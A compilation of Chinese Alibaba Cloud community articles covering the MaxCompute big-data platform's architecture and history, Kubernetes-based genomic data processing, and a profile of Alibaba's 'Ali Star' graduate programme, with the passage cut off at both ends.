合并到latest分支。latest分支和master分支有更新时，就会触发与前面的构建类似的流程把应用推进到预发环境和生产环境。本文作者：流生阅读原文本文为云栖社区原创内容，未经允许不得转载。

阿里靠什么支撑 EB 级计算力？

阿里妹导读：MaxCompute 是阿里EB级计算平台，经过十年磨砺，它成为阿里巴巴集团数据中台的计算核心和阿里云大数据的基础服务。去年MaxCompute 做了哪些工作，这些工作背后的原因是什么？大数据市场进入普惠+红海的新阶段，如何与生态发展共赢？人工智能进入井喷阶段，如何支持与借力？本文从过去一年的总结，核心技术概览，以及每条技术线路未来展望等几个方面做一个概述。BigData 概念在上世纪90年代被提出，随 Google 的3篇经典论文（GFS，BigTable，MapReduce）奠基，已经发展了超过10年。这10年中，诞生了包括Google 大数据体系，微软 Cosmos 体系，开源 Hadoop 体系等优秀的系统，这其中也包括阿里云的飞天系统。这些系统一步一步推动业界进入“数字化“和之后的“ AI 化”的时代。同时，与其他老牌系统相比（如，Linux 等操作系统体系，数据库系统、中间件，很多有超过30年的历史），大数据系统又非常年轻，随着云计算的普惠，正在大规模被应用。海量的需求和迭代推动系统快速发展，有蓬勃的生机。（技术体系的发展，可以通过如下 Hype-Cycle 概述，作者认为，大数据系统的发展进入技术复兴期/Slope of Enlightenment，并开始大规模应用 Plateau of Productivity。）如果说，0到1上线标志一个系统的诞生，在集团内大规模部署标志一个系统的成长，在云上对外大规模服务标志一个系统的成熟。MaxCompute 这10年已经走向成熟，经过多次升级换代，功能、性能、服务、稳定性已经有一个体系化的基础，成为阿里巴巴集团数据中台的计算核心和阿里云大数据的基础服务。1. MaxCompute（ODPS）概述1.1 背景信息：十年之后，回头看什么是大数据"Big data represents the information assets characterized by such a high volume, velocity and variety torequire specific technology and analytical methods for its transformation intovalue. “用5个“V”来描述大数据的特点：Volume （数据量）：数据量非线性增长，包括采集、存储和计算的量都非常大，且增速很快。Variety （数据类型）：包括结构化和非结构化的数据，特别是最近随音视图兴起，非结构化数据增速更快。Velocity（数据存储和计算的增长速度）：数据增长速度快，处理速度快，时效性要求高。Veracity（信噪比）：数据量越大，噪声越多，需要深入挖掘数据来得到结果。Value（价值）：数据作为一种资产，有 1+1>2 的特点。1.3 竞品对比与分析大数据发展到今天，数据仓库市场潜力仍然巨大，更多客户开始选择云数据仓库，CDW仍处于高速增长期。当前互联网公司和传统数仓厂家都有进入领导者地位，竞争激烈，阿里巴巴CDW在全球权威咨询与服务机构Forrester发布的《The Forrester WaveTM: CloudData Warehouse, Q4 2018》报告中位列中国第一，全球第七。在 CDW 的领导者中，AWS Redshift 高度商业化、商业客户部署规模领先整个市场，GoogleBigQuery 以高性能、高度弹性伸缩获得领先，Oracle 云数仓服务以自动化数仓技术获得领先。MaxCompute 当前的定位是市场竞争者，目标是成为客户大数据的“航母”级计算引擎，解决客户在物联网、日志分析、人工智能等场景下日益增长的数据规模与计算性能下降、成本上升、复杂度上升、数据安全风险加大之间的矛盾。在此目标定位下，对 MaxCompute 在智能数仓、高可靠性、高自动化、数据安全等方面的能力提出了更高的要求。2. 2018年MaxCompute技术发展概述过去的一个财年，MaxCompute 在技术发展上坚持在核心引擎、开放平台、技术新领域等方向的深耕，在业务上继续匠心打造产品，扩大业界影响力。效率提升2018年9月云栖大会发布，MaxCompute 在标准测试集 TPC-BB 100TB整体指标较2017年提升一倍以上。得益于整体效率的提升，在集团内部 MaxCompute 以20%的硬件增长支撑了超过70%的业务增长。系统开放性和与生态融合联合计算平台 Cupid 逐步成熟，性能与 EMR Spark Benchmark 持平，支持K8S 接口，支持完整的框架安全体系，Spark On MaxCompute 已开始支持云上业务。Python 分布式项目 MARS 正式发布，开源两周内收获1200+ Star，填补了国内在 Python 生态上支持大规模分布式科学计算的空白，是竞品 Dask 性能的3倍。探索新领域MaxCompute 持续在前沿技术领域投入，保持技术先进性。在下一代引擎方向，如：AdaptiveOperatorsOperator FusionClusteredTable智能数仓 Auto Datawarehouse 方向上的调研都取得了不错的进展。在渐进计算、Advanced FailChecking and Recovery 、基于 ML的分布式计算平台优化、超大数据量 Query 子图匹配等多个方向上的调研也在进行中。深度参与和推动全球大数据领域标准化建设2018年11月，MaxCompute 与 DataWorks/AnalyticDB一起代表阿里云入选 Forrester Wave™ Q4 2018云数据仓库研究报告，在产品能力综合得分上力压微软，排名全球第七，中国第一。2019年3月，MaxCompute 正式代表 Alibaba 加入了 TPC 委员会推动融入和建立标准。MaxCompute 持续在开源社区投入。成为全球两大热门计算存储标准化开源体系 ORC 社区的 PMC，MaxCompute 成为近两年贡献代码量最多的贡献者，引导存储标准化；在全球最热门优化器项目 Calcite，拥有一个专委席位，成为国内前两家具备该领域影响力的公司，推动数十个贡献。3. 核心技术栈大数据市场进入普惠+红海的新阶段，如何借力井喷阶段中的人工智能，如何与生态发展共赢？基于横向架构上的核心引擎和系统平台，MaxCompute 在计算力、生态化、智能化3个纵向上着力发展差异化的竞争力。3.1 计算力首先我们从计算力这个角度出发，介绍一下 MaxCompute 的技术架构。a.核心引擎支撑 MaxCompute 的计算力的核心模块之一是其 SQL 引擎：在 MaxCompute 的作业中，有90%以上的作业是 SQL 作业，SQL 引擎的能力是 MaxCompute 的核心竞争力之一。在 MaxCompute 产品框架中，SQL 引擎将用户的 SQL 语句转换成对应的分布式执行计划来执行。SQL 引擎由3个主要模块构成：编译器 Compiler：对 SQL 标准有友好支持，支持100% TPC-DS 语法；并具备强大都错误恢复能力，支持 MaxCompute Studio 等先进应用。运行时 Runtime：基于LLVM优化代码生产，支持列式处理与丰富的关系算符；基于 CPP 的运行时具有更高效率。优化器 Optimizer：支持HBO和基于 Calcite 的 CBO，通过多种优化手段不断提升 MaxCompute 性能。MaxComputeSQL 引擎当前的发展，以提升用户体验为核心目标，在 SQL 语言能力、引擎优化等多个方向上兼顾发力，建立技术优势，在 SQL 语言能力方面，新一代大数据语言 NewSQL 做到了 Declarative 语言和 Imperative 语言的融合，进一步提升语言兼容性，目前已100% 支持 TPC-DS 语法。过去一年中，MaxCompute 新增了对 GroupingSets，If-Else 分支语句，动态类型函数，等方面的支持。b.存储MaxCompute 不仅仅是一个计算平台，也承担着大数据的存储。阿里巴巴集团99%的大数据存储都基于 MaxCompute，提高数据存储效率、稳定性、可用性，也是MaxCompute一直努力的目标。MaxCompute 存储层处于 MaxCompute Tasks 和底层盘古分布式文件系统之间，提供一个统一的逻辑数据模型给各种各样的计算任务。MaxCompute 的存储格式演化，从最早的行存格式 CFile1，到第一个列存储格式 CFile2，到第三代存储格式。支持更复杂的编码方式，异步预读等功能，进一步提升效能。在存储和计算2个方面都带来了效能的提升。存储成本方面，在阿里巴巴集团内通过新一代的列存格式节省约8%存储空间，直接降低约1亿成本；在计算效率上，过去的一个财年中发布的每个版本之间都实现了20%的提升。目前在集团内大规模落地的过程中。在归档以及压缩方面，MaxCompute 支持 ZSTD 压缩格式，以及压缩策略，用户可以在 Normal，High 和 Extreme 三种 Stategy 里面选择。更高的压缩级别，带来更高效的存储，但也意味着更高的读写 CPU 代价。2018年， MaxCompute 陆续推出了 Hash Clustering 和 Range Clustering 支持富结构化数据，并持续的进行了深度的优化，例如增加了 ShuffleRemove，Clustering Pruning 等优化。从线上试用数据，以及大量的 ATA 用户实践案例也可以看出，Clustering 的收益也获得了用户的认可。c.系统框架资源与任务管理：MaxCompute 框架为 ODPS 上面各种类型的计算引擎提供稳定便捷的作业接入管理接口，管理着 ODPS 各种类型 Task 的生命周期。过去一年对短作业查询的持续优化，缩短 e2e 时间，加强对异常作业（OOM)的自动检测与隔离处理，全面打开服务级别流控，限制作业异常提交流量，为服务整体稳定性保驾护航。MaxCompute 存储着海量的数据，也产生了丰富的数据元数据。在离线元仓统计T+1的情况下，用户至少需要一天后才能做事后的数据风险审计，现实场景下用户希望更早风险控制，将数据访问事件和项目空间授权事件通过 CUPID 平台实时推送到用户 DataHub 订阅，用户可以通过消费 DataHub 实时获取项目空间表、volume数据被谁访问等。元数据管理：元数据服务支撑了 MaxCompute 各个计算引擎及框架的运行。每天运行在 MaxCompute 的作业，都依赖元数据服务完成 DDL，DML 以及授权及鉴权的操作。元数据服务保障了作业的稳定性和吞吐率，保障了数据的完整性和数据访问的安全性。元数据服务包含了三个核心模块：Catalog ：完成DDL，DML及DCL（权限管理）的业务逻辑，Catalog保障MaxCompute作业的ACID特性。MetaServer：完成元数据的高可用存储和查询能力。AuthServer：是高性能和高QPS的鉴权服务，完成对 MaxCompute 的所有请求的鉴权，保障数据访问安全。元数据服务经过了模块化和服务化后，对核心事务管理引擎做了多次技术升级，通过数据目录多版本，元数据存储重构等改造升级，保障了数据操作的原子性和强一致，并提高了作业提交的隔离能力，并保障了线上作业的稳定性。在数据安全越来越重要的今天，元数据服务和阿里巴巴集团安全部合作，权限系统升级到了2.0。核心改进包括：MAC（强制安全控制）及安全策略管理：让项目空间管理员能更加灵活地控制用户对列级别敏感数据的访问，强制访问控制机制(MAC)独立于自主访问控制机制(DAC)。数据分类分级：新增数据的标签能力，支持对数据做隐私类数据打标。精细权限管理：将ACL的管控能力拓展到了 Package 内的表和资源，实现字段级的权限的精细化管理。系统安全：系统安全方面，MaxCompute 通过综合运用计算虚拟化和网络虚拟化技术，为云上多租户各自的用户自定义代码逻辑提供了安全而且完善的计算和网络隔离环境。SQL UDF(python udf 和 java udf)，CUPID联合计算平台(Sparks/Mars等)，PAI tensorflow 等计算形态都基于这套统一的基础隔离系统构建上层计算引擎。MaxCompute 还通过提供原生的存储加密能力，抵御非授权访问存储设备的数据泄露风险。MaxCompute 内置的存储加密能力，可以基于KMS云服务支持用户自定义秘钥(BYOK)以及AES256加密算法，并计划提供符合国密合规要求的SM系列加密算法支持。结合MaxCompute元仓(MetaData)提供的安全审计能力和元数据管理(MetaService)提供的安全授权鉴权能力，以及数据安全生态中安全卫士和数据保护伞等安全产品，就构成了 MaxCompute安全栈完整大图。3.2 生态化作为一个大规模数据计算平台，MaxCompute 拥有来自各类场景的EB级数据，需要快速满足各类业务发展的需要。在真实的用户场景中，很少有用户只用到一套系统：用户会有多份数据，或者使用多种引擎。联合计算融合不同的数据，丰富 MaxCompute 的数据处理生态，打破数据孤岛，打通阿里云核心计算平台与阿里云各个重要存储服务之间的数据链路。联合计算也融合不同的引擎，提供多种计算模式，支持开源生态。开源能带来丰富和灵活的技术以赋能业务，通过兼容开源API对接开源生态。另一方面，在开源过程中我们需要解决最小化引入开源技术成本及打通数据、适配开源接口等问题。a.Cupid 联合计算平台联合计算平台 Cupid 使一个平台能够支持 Spark、Flink、Tensorflow、Numpy、ElasticSearch 等多种异构引擎，在一份数据上做计算。在数据统一、资源统一的基础上，提供标准化的接口，将不同的引擎融合在一起做联合计算。Cupid 的工作原理是通过将 MaxCompute 所依赖的 Fuxi 、Pangu 等飞天组间接口适配成开源领域常见的 Yarn、HDFS 接口，使得开源引擎可以顺利执行。现在，Cupid 新增支持了 Kubernetes 接口，使得联合计算平台更加开放。案例：Spark OnMaxComputeSpark 是联合计算平台第一个支持的开源引擎。基于 Cupid 的 Spark on MaxCompute 实现了与 MaxCompute 数据/元数据的完美集成；遵循 MaxCompute 多租户权限及安全体系；与Dataworks、PAI平台集成；支持 Spark Streaming,Mllib, GraphX,Spark SQL，交互式等完整 Spark生态；支持动态资源伸缩等。b.多源异构数据的互联互通随着大数据业务的不断扩展，新的数据使用场景在不断产生，用户也期望把所有数据放到一起计算，从而能取得 1+1 > 2 这样更好的结果。MaxCompute 提出了联合计算，将计算下推，联动其他系统：将一个作业在多套系统联动，利用起各个系统可行的优化，做最优的决策，实现数据之间的联动和打通。MaxCompute 通过异构数据支持来提供与各种数据的联通，这里的“各种数据”是两个维度上的：多样的数据存储介质（外部数据源），插件式的框架可以对接多种数据存储介质。当前支持的外部数据源有：OSSTableStore(OTS)TDDLVolume多样的数据存储格式：开源的数据格式支持，如 ORC、Parquet 等；半结构化数据，如包括 CSV、Json等隐含一定schema 的文本文件；完全无结构数据，如对OSS上的文本，音频、图像及其他开源格式的数据进行计算。基于MaxCompute 异构数据支持，用户通过一条简单的 DDL 语句即可在 MaxCompute 上创建一张EXTERNAL TABLE（外表），建立 MaxCompute 表与外部数据源的关联，提供各种数据的接入和输出能力。创建好的外表在大部分场景中可以像普通的 MaxCompute 表一样使用，充分利用 MaxCompute 的强大计算力和数据集成、作业调度等功能。MaxCompute 外表支持不同数据源之间的 Join，支持数据融合分析，从而帮助您获得通过查询独立的数据孤岛无法获得的独特见解。从而MaxCompute 可以把数据查询从数据仓库扩展到EB级的数据湖(如OSS)，快速分析任何规模的数据，没有MaxCompute存储成本，无需加载或 ETL。异构数据支持是MaxCompute 2.0升级中的一项重大更新，意在丰富 MaxCompute 的数据处理生态，打破数据孤岛，打通阿里云核心计算平台与阿里云各个重要存储服务之间的数据链路。c.Python 生态和 MARS科学计算引擎MaxCompute 的开源生态体系中，对 Python 的支持主要包括 PyODPS、Python UDF、和MARS。PyODPS 一方面是 MaxCompute 的 PythonSDK，同时也提供 DataFrame 框架，提供类似 pandas 的语法，能利用 MaxCompute 强大的处理能力来处理超大规模数据。基于 MaxCompute 丰富的用户自定义函数（UDF）支持，用户可以在 ODPS SQL 中编写 Python UDF 来扩展 ODPS SQL。 MARS 则是为了赋能 MaxCompute 科学计算，全新开发的基于矩阵的统一计算框架。使用 Mars 进行科学计算，不仅能大幅度减少分布式科学计算代码编写难度，在性能上也有大幅提升。3.3 智能化随着大数据的发展，我们在几年前就开始面对数据／作业爆发式增长的趋势。面对百万计的作业和表，如何做管理呢？MaxCompute 通过对历史作业特征的学习、基于对数据和作业的深刻理解，让 MaxCompute 上的业务一定程度实现自适应调整，让算法和系统帮助用户自动、透明、高效地进行数仓管理和重构优化工作，实现更好地理解数据，实现数据智能排布和作业全球调度，做到大数据处理领域的“自动驾驶”，也就是我们所说的Auto DataWarehousing。Auto Data Warehousing 在线上真实的业务中，到底能做什么呢？我们以Hash Clustering 的自动推荐来小试牛刀。Hash Clustering 经过一年多的发展，功能不断完善，但对用户来说，最难的问题仍然在于，给哪些表建立怎样的 Clustering 策略是最佳的方案？MaxCompute 基于 Auto Data Warehousing，来实现为用户推荐如何使用 HashClustering，回答如何选择 Table、如何设置Cluteringkey 和分桶数等问题，让用户在海量数据、海量作业、快速变化的业务场景下，充分利用平台功能。4. 商业化历程从2009年云梯到 ODPS，再到 MaxCompute，MaxCompute(ODPS) 这个大数据平台已经发展了十年。回顾 MaxCompute 的发展，首先从云梯到完成登月，成为了一个统一的大数据平台。2014年，MaxCompute 开始商业化的历程，走出集团、向公共云和专有云输出，直面中国、乃至全球的用户。面对挑战，MaxCompute 坚持产品核心能力的增强，以及差异化能力的打造，赢得了客户的选择。回顾上云历程，公共云的第一个节点华东2上海在2014（13年）年7月开服，经过4年多发展，MaxCompute 已在全球部署18个Region，为云上过万家用户提供大数据计算服务，客户已覆盖了新零售、传媒、社交、互联网金融、健康、教育等多个行业。专有云的起点则从2014年8月第一套POC环境部署开始，发展至今专有云总机器规模已超过10000台；输出项目150+套，客户涵盖城市大脑，大安全，税务，等多个重点行业。今天，MaxCompute 在全球有超过十万的服务器，通过统一的作业调度系统和统一的元数据管理，这十万多台服务器就像一台计算机，为全球用户提供提供包括批计算、流计算、内存计算、机器学习、迭代等一系列计算能力。这一整套计算平台成为了阿里巴巴经济体，以及阿里云背后计算力的强有力支撑。MaxCompute 作为一个完整的大数据平台，将不断以技术驱动平台和产品化发展，让企业和社会能够拥有充沛的计算能力，持续快速进化，驱动数字中国。本文作者：观涛阅读原文本文来自云栖社区合作伙伴“ 阿里技术”，如需转载请联系原作者。 ...

十年磨一剑，王坚自研的MaxCompute如何解决世界级算力难题

摘要： 2009年这项关于大数据的技术长征开始。王坚带队，目标是自研大数据计算平台MaxCompute统一阿里巴巴内部的数据和大数据计算体系。大数据时代，随着企业数据规模的急剧增长，传统软件已无法承载，这也推动了大数据技术的发展，Google、AWS、微软等硅谷巨头纷纷投入大数据技术的研发；而在国内，王坚也在十年前带领阿里云团队研发MaxCompute，率先在国内开启大数据计算平台的自研之路。十年后，MaxCompute已经可以承载EB级别的数据存储能力、百PB级的单日计算能力，在公共云上已经覆盖了国内外的十几个国家和地区，电商、工业、医疗、农业、气象、教育等诸多行业企业开始采用这项技术，轻松处理海量数据，为社会和消费者提供服务。MaxCompute的自研之路事实上，阿里大数据的发展历程映射出整个大数据行业的发展史。十年前，阿里巴巴比其它公司更早地遇到互联网规模化带来的挑战。当时全球企业的数据库基本都是Oracle，而阿里巴巴拥有亚洲最大的Oracle集群，计算规模达百TB级别。按照当时淘宝用户量的增长速度，Oracle集群很快将无法支撑业务发展，而最核心的问题就是算力不足。尽管当时阿里已开始把数据迁移到更大规模的Greenplum，但后者在百台机器规模时就遇到瓶颈，给业务增长造成极大阻碍。此外，Hadoop之类的开源技术在可靠性、安全性上也遭遇了天花板。2008年，王坚带着解决大规模算力瓶颈的任务加入阿里。他发现，无论是Oracle还是Greenplum、Hadoop，都不是大规模数据计算的最优解，必须自研一套自己的大数据处理平台。2009年这项关于大数据的技术长征开始。王坚带队，目标是自研大数据计算平台MaxCompute统一阿里巴巴内部的数据和大数据计算体系。事实证明，阿里做了正确的选择。四年攻坚，MaxCompute终于取得重大突破：2013年8月15日，阿里云历史性地突破了同一个集群内5000台服务器同时计算的局限，为未来的大规模服务奠定基础。十年后，单集群规模已超过1万台，能做到这一能力的科技公司在全球都寥寥可数。在阿里云云栖小镇，还竖着一尊飞天5K的纪念碑，碑上刻着参与解决这一技术难题的技术人员名字。解决世界级算力难题通过大数据计算平台，可以让订单实时准确汇聚，也可以精准预测变幻莫测的天气变化，各行各业都在大规模使用大数据来提供更好的服务，而实现这一能力就是海量数据分析的结果。但要处理好这些数据并不容易。除了数据量的剧增，不同行业数据类型丰富多样，如结构化数据、非结构化数据等，都给大数据计算平台带来新的挑战。MaxCompute的创新之处就是采用Datalake技术，把不同的数据源用类似的方式存储，用统一的方法计算，提供一套标准化语言，快速实现不同类型数据的计算。基于这套创新技术，2015、2016年，阿里云刷新世界计算奥运会SortBenchmark的六项世界纪录；2017年，完成全球首次基于公共云的100TB BigBench大数据基准测试。如何快速“查询”也是大数据计算的核心之一。MaxCompute采用“交互式查询”来解决海量数据查询慢的瓶颈，通俗地说就是系统可以预判用户将会做哪些查询，提前准备，大大降低大规模数据查询的时间。此外，MaxCompute提出多租户云安全隔离技术，突破传统大数据平台的安全局限，将安全边界细化到用户、进程、内核级别，完全满足金融级的安全需求。顶级算力走向世界过去十年，MaxCompute能力不断提升：单日数据处理量从2015年100PB，2016年180PB，到2017年320PB，再到2018年的单日处理超过600PB。记录被不断刷新，并且得到了权威机构的认可：在Forrester发布的《The Forrester WaveTM: CloudData Warehouse, Q4 2018》中，阿里云MaxCompute、DataWorks、ADB等三款产品成功入选，并在产品功能（Current Offering）方面力压微软。这一世界级的大数据计算能力也逐渐展示其价值，帮助数万企业用更低成本、更高效率计算海量数据，为社会和消费者提供服务。在生活领域，墨迹天气开始通过MaxCompute为4亿用户提供气象预报服务，每天的用户查询超过5亿次。不仅如此，它们的存储和计算成本还令人意外地降低70%。在交通领域，城市大脑在杭州实时指挥1300个红绿灯路口、200多名交警。从2016年到2018年，杭州从全国最拥堵城市排行榜上下跌52名。在工业领域，阿里云的大数据处理技术帮助制造企业寻找上千个参数的最优搭配，提升制造的良品率。协鑫光伏、天合光能等行业龙头企业，都在尝试这一全新的生产模式。在政务领域，浙江最多跑一次通过大数据处理平台打通政务数据，将与老百姓办事最密切相关的100个事项70多亿条数据，按照统一标准汇入统一的数据仓，实现共通共享共用。老百姓办事不仅能最多跑一次，甚至有可能一次都不跑。而在海外，MaxCompute也已进入新加坡、欧洲等市场，将这一技术对外赋能给更多用户。从线上到线下，从生产制造到互联网电商，从国内到海外，MaxCompute的计算能力正在延伸到各行各业，极大地降低了社会的计算成本。MaxCompute产品官网 https://www.aliyun.com/product/odps本文作者：晋恒阅读原文本文为云栖社区原创内容，未经允许不得转载。

PB 级数据处理挑战，Kubernetes如何助力基因分析？

摘要：一家大型基因测序功能公司每日会产生 10TB 到 100TB 的下机数据，大数据生信分析平台需要达到 PB 级别的数据处理能力。这背后是生物科技和计算机科技的双向支撑：测序应用从科研逐步走向临床应用，计算模式从离线向在线演进，交付效率越来越重要。作者李鹏，原文首发于InfoQ，《容器混合云，Kubernetes 助力基因分析》引言James Watson 和 Francis Crick 于 1953 年发现了 DNA 的双螺旋结构，从此揭开了物种进化和遗传的神秘面纱，开启了人类对数字化遗传的认知，但是人类基因奥秘却是一点点被读懂的。1956 年，一则癌症和染色体相关性的发现令整个癌症研究界震动：慢性骨髓性白血病（CML）患者的第 22 号染色体，比一般然明显短很多。二十余年后，学者们发现，9 号染色体的 Abl 基因，与 22 号染色体的 BCR 基因连到了一块，交错易位产生了一条 BCR-Abl 融合基因。BCR-Abl 蛋白一直处于活跃状态且不受控制，引发不受控的细胞分裂，从而导致癌症。也就是说，只要细胞表达 BCR-Abl 蛋白，就有血癌风险。美国着手深入研究，并成功推出了治疗慢性骨髓性白血病的新药。这，就是格列卫，也是去年《我不是药神》中被我们熟知的‘高价药’。在格列卫诞生前，只有 30% 的慢性骨髓性白血病患者能在确诊后活过 5 年。格列卫将这一数字从 30% 提高到了 89%，且在 5 年后，依旧有 98% 的患者取得了血液学上的完全缓解。为此，它也被列入了世界卫生组织的基本药物标准清单，被认为是医疗系统中“最为有效、最为安全，满足最重大需求”的基本药物之一。容器混合云如何应对基因测序的 IT 挑战基因测序在血液肿瘤领域应用的越来越广泛。根据病人的诊断结果, 血液肿瘤专科医生会选择相应的检查，比如 PCR 结合实时荧光探针技术，来检测测 BCR-Abl 融合基因，以诊断慢性骨髓性白血病，也可以通过二代测序方式，SEGF（Single-end Gene Fusion）能够通过单端 NGS 测序数据检测复杂的基因融合类型。在另一面，无创产检唐氏／爱德华式筛查，近年来以高准确率和对胎儿的低风险，越来越受到国内年轻产妇的欢迎。基因公司每年都完成几十万例的 NIPT 检查，每一例的 NIPT 涉及到数百 MB+ 的数据处理，存储和报告生成。一家大型基因测序功能公司每日会产生 10TB 到 100TB 的下机数据，大数据生信分析平台需要达到 PB 级别的数据处理能力。这背后是生物科技和计算机科技的双向支撑：测序应用从科研逐步走向临床应用，计算模式从离线向在线演进，交付效率越来越重要。基因计算面临以下几方面挑战：1.数据存储：数据增长快，存储费用高，管理困难；长期保存数据可靠性难以保障；需要寻求低成本大数据量的数据压缩方式；元数据管理混乱，数据清理困难。2.分发共享：海量数据需要快速、安全的分发到国内多地及海外；传统硬盘寄送方式周期长，可靠性低；多地中心数据需要共享访问。3.计算分析：批量样本处理时间长，资源需求峰谷明显，难以规划；大规模样本的数据挖掘需要海量计算资源，本地集群难以满足；计算工作1. 3. 流流程迁移困难、线上线下调度困难、跨地域管理困难；线下弹性能力差，按需计算需求。4.安全合规：基因数据安全隐私要求极高；自建数据中心安全防护能力不足；数据合约（区块链）；RAM 子账号支持。而这样看来一套完备架构方案则是必不可少的。与传统高性能计算相比，按需切分任务的需求，自动从云中申请资源，自动伸缩能力达到最小化资源持有成本，90% 以上的资源使用率，用完后自动返还计算资源。最大化资源的使用效率，最低单样本的处理成本，最快速的完成大批量样本的处理。随着基因测序业务增长，自动完成线下资源使用，和线上资源扩容。高速内网带宽，和高吞吐的存储，和几乎无限的存储空间。基因计算不同于常规的计算，对海量数据计算和存储能力都提出了很高的要求。主要通过容器计算的自动伸缩特性和阿里云 ECS 的自动伸缩能力的打通，可以大规模弹性调度云上的计算资源。通过对基因数据的合理切分，实现大规模的并行计算同时处理 TB 级别的样本数据。通过按需获取的计算能力，以及高吞吐的对象存储的使用，大幅降低了计算资源持有的成本和单个样本的处理成本。整体技术架构是云原生容器混合云，云上云下资源一体，跨地域集群统一管理。作为主要 Player，容器技术在数据分拆，数据质量控制，Call 变异提供了标准化流程化、加速、弹性、鉴权、观测、度量等能力，在另外一方面，高价值挖掘需要借助容器化的机器学习平台和并行框架对基因、蛋白质、医疗数据完成大规模线性代数计算来建立模型，从而使精准医疗能力成为现实。基因工程中的关键问题及解决方案数据迁移与传输数据迁移、数据拆分阶段百万小文件的读取对底层的文件系统压力，通过避免不必要小文件的读写提高样本的处理效率。通过数据中心与阿里云的专线连接，实现高吞吐低延迟的数据上云以及与工作流结合的上云、校验、检测方式。而最终需要达成的目标是：在短时间内完成数十 TB 级数据的加密搬迁，确保数据传输客户端的高性能与安全性，实现并发传输、断点续传，且保有完善的访问授权控制。基因计算典型任务：增强型工作流基因计算的典型特征就是数据分批计算，需要按照特定步骤先后依次完成。将该问题抽象后，即需要申明式工作流定义 AGS(AlibabaCloud Genomics Service) workflow。其工作流的特点是：多层次，有向无环图。科研大工作流 1000-5000+ 深度的 DAG，需要准确的流程状态监控和高度的流程稳定性。简单流程从任意步骤重现启动，失败步骤可以自动完成重试和继续，定时任务，通知，日志，审计，查询，统一操作入口 CLI/UI 。[图片上传失败…(image-f4ed64-1554348389942)]我们采用的方案是：1.简单 YAML 申明式定义，多层次，有向无环图, 复杂依赖支持, 任务自动分拆，自动并行化；2.云原生，与社区 Argo 完全兼容的增强性 Workflow 定义；3.实时资源统计，监控集成云监控，云日志 SLS 集成, 审计集成, 定时任务；4.统一操作入口 ags-cli 与 Kubectl 集成；5.阿里云存储卷申明式支持，NAS，OSS，CloudDisk, 缓存加速支持。云上云下资源的统一调度通过跨越 IDC 和云上可用区的混合云 ACK 集群实现计算资源的统一调度和数据的云端汇聚。自动化，流程化上云数据，和后续的数据处理流程，形成 24 小时内完成批次下机数据的本地，上云，云端处理和报告生成。按需弹性提供计算节点或者无服务化计算资源，形成按需计算能力，处理突发分析任务。我所带领的阿里云基因数据服务团队努力构建更具弹性的容器化集群，分钟级数百节点自动伸缩能力和分钟级数千轻量容器拉起的 Serverless 能力，通过提高并行度来提高内网带宽的利用率，最终提高整体数据吞吐率，通过 NAS 客户端和服务端的 TCP 优化来提高 IO 读写速度，通过为 OSS 增加缓存层和分布式的缓存来实现对象存储读取加速等等。还有很多问题，篇幅原因在此不一一展开：如何进行基因数据管理、最优化单位数据处理成本、采用批量计算的方式进行对样本分析、怎样使得基因数据处理安全及跨组织安全分享等等。生命科学和精准医学应用，未来已来NovaSeq 测序仪带来了低成本（100$/WGS）高产出（6TB 通量）的二代测序方案，大量 NovaSeq 的使用为基因测序公司每天产出的几十 TB 数据，这就要求大量的算力来分拆和发现变异，以及需要大量的存储来保存原始数据和变异数据。阿里云基因数据服务不断提升极致弹性的计算能力，和大规模并行处理能力，以及海量高速存储来帮助基因公司快速自动化处理每天几十上百 TB 的下机数据，并产通过 GATK 标准产出高质量的变异数据。以 PacBio 和 Nanopore 为代表的三代测序的出现，超过 30K 到数百 K 的长读，和 20GB 到 15TB 的大通量产出，长读和数据量对数据比对，分拆，发现变异带来了更大的算力需要和高 IO 吞吐的需求，对基因计算过程中优化基因分析流程，拆分数据，按需调度大量计算资源，提供超高的 IO 吞吐带来了更大的挑战。解码未知，丈量生命。科技的每一小步，都会成为人类前行的一大步。本文作者：李鹏（Eric Li），阿里云资深架构师，数据科学家，美国 FDA2018 精准医疗大赛Top2 Winner ，金融／生物计算行业解决方案专家，专注于基于 Kubernetes 的容器产品开发和银行，生信行业的生产落地。在加入阿里云之前，曾在 IBM 担任 Watson 数据服务容器平台首席架构师，机器学习平台架构师，IBM 2015 Spark 全球大赛金奖获得者，带领多个大型开发项目，涵盖云计算，数据库性能工具、分布式架构、生物计算，大数据和机器学习。本文作者：木环阅读原文本文为云栖社区原创内容，未经允许不得转载。 ...

天马行空脚踏实地，阿里巴巴有群百里挑一的天才应届生

阿里巴巴有一群天马行空脚踏实地的阿里星。阿里巴巴的春季校招已经启动。在阿里的技术大咖储备团队中，有三分之一是来自高校招聘，这当中，有一项名为阿里星的神秘计划。这是校招中专门针对高校顶尖大学生的一个培养计划，每年平均录取人数不到20人，录取比例不足1%。百里挑一的阿里星作为阿里面向应届生的顶级人才计划，只有精英中的精英才有机会获得阿里星称号。自2011年起，每一届阿里星都是百里挑一的人才，他们大多是博士，经过十几轮面试，入职前就自带各种主角光环，比如“高考状元”“清华博士”“SCI期刊审稿人”等等。在以阿里星身份入职后，这些精英应届生将获得上不封顶的年薪，由副总裁级别担任主管进行重点培养，定期和阿里合伙人面对面交流，更重要的是，他们有机会直面最具挑战性的项目。8年来，历届阿里星中有人成为了阿里云高级安全工程师，有人成为了菜鸟高级算法工程师，也有人直接踏进达摩院科学家的战队。在最近一届的阿里星中，也有不少新星崭露头角——比如中科大毕业的陈谦，年仅27岁就独立研发人机对话系统，在国际大赛中接连击败IBM、麻省理工等机构，拿下两个世界第一，将人机对话准确率的世界纪录提升至94.1%。“前几年传得很神，说阿里星都是3岁会编程，10岁夺国际奖项的天才。”菜鸟高级算法工程师丁见亚第一次听说阿里星时，还在清华大学攻读博士，旁人偶尔说起，自动化专业的师兄盖坤是第一届的阿里星，目前已是阿里的算法研究员。从小学编程的天才2018年，直到丁见亚自己也成了阿里星，他才明白“3岁会编程”的标准或许有点夸大其词，然而不可否认的是，阿里星们大都是从小接触编程。丁见亚的第一行代码，就是在小学的机房里写下，用来控制屏幕上一只小乌龟的运动轨迹。而2018届阿里星中年纪最小的刘煜堃，小学六年级就会熬夜翻看论坛，通过视频偷偷学习黑客知识。相比其他一路顺风顺水的同学，刘煜堃可算是一个经历过失败的天才。上高中后，他又迷上了网络游戏，尤其到寒暑假，一天能玩上七八个小时，影响了学习，最终高考发挥失常进了福州大学，就读信息安全专业。大二暑假，导师推荐刘煜堃与同学组队，参加了CTF（网络安全技术）竞赛，作为“萌新”却意外打进决赛，刘煜堃由此入坑，回校后组建了一支战队。每周六早上9点，战队成员围坐在电脑前，在规定的48小时内轮流上线解题，通过挖掘漏洞攻击